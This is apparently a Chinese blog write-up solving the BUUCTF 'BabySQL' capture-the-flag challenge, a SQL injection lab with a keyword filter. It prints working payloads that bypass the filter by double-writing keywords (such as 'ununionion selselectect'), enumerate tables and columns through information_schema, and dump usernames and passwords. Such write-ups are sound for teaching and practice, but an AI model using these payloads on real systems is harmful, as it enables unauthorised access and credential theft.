BUUCTF之[极客大挑战 2019]BabySQL 解决方法

BUUCTF之[极客大挑战 2019]BabySQL 解决方法

启动我们的挑战项目
在这里插入图片描述
emmmmm这是第三个SQL注入,应该难度又提高了一些。先试试我们的万能密码:1’ or 1=1 #
在这里插入图片描述
不行,报错了。而且我也看不出报错的信息是什么
在这里插入图片描述
然后返回前面的题目看看提示信息,觉得可能这题是加了一些过滤信息
在这里插入图片描述
所以我们试试双写看看能不能绕过防御,并且把最后面的 # 号改成 %23。
所以我们的payload为:1’ oorr 1=1 %23
在这里插入图片描述
发现可以获取到信息,说明我们这个方法是正确的!
在这里插入图片描述
然后我们再进行用order by来获取有多少列,发现orderby这些关键词都被过滤掉了。另外经过测试,发现被过滤掉的关键词还有:select ,and ,or where ,from。所以我们的payload想要考虑到双写这些关键词就可以了。并且我在测试的时候发现双写关键词的时候最好把它包裹起来。比如想要双写select的时候,则要应该写成selselectect。这样子,当过滤机制过滤掉中间的select的时候,剩下的左右两边又会组合成一个新的select。
现在我们开始测试有多少列:
1’ oorrder bbyy 3 %23 回显正常
1’ oorrder bbyy 4 %23 返回报错
在这里插入图片描述
在这里插入图片描述
这说明只有3列,然后试试:-1’ ununionion selselectect 1,2,3 。看看返回的是第几列的信息
在这里插入图片描述
现在开始爆破数据库名:-1’ ununionion selselectect 1,database(),3
在这里插入图片描述
然后开始爆破表名:-1’ ununionion selselectect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),3
在这里插入图片描述
然后再爆破列名:-1’ ununionion selselectect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name=‘b4bsql’),3
在这里插入图片描述
然后获取b4bsql下的username和password信息:-1’ uniunionon selselectect 1,(selselectect group_concat(username," : ",passwoorrd) frfromom b4bsql),3。注意这里的password是包含着or的,所以应该把password写成passwoorrd
在这里插入图片描述
到这里就可以拿到我们的flag值了。这次的SQL注入确实是比前两次的难一些了~~~

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值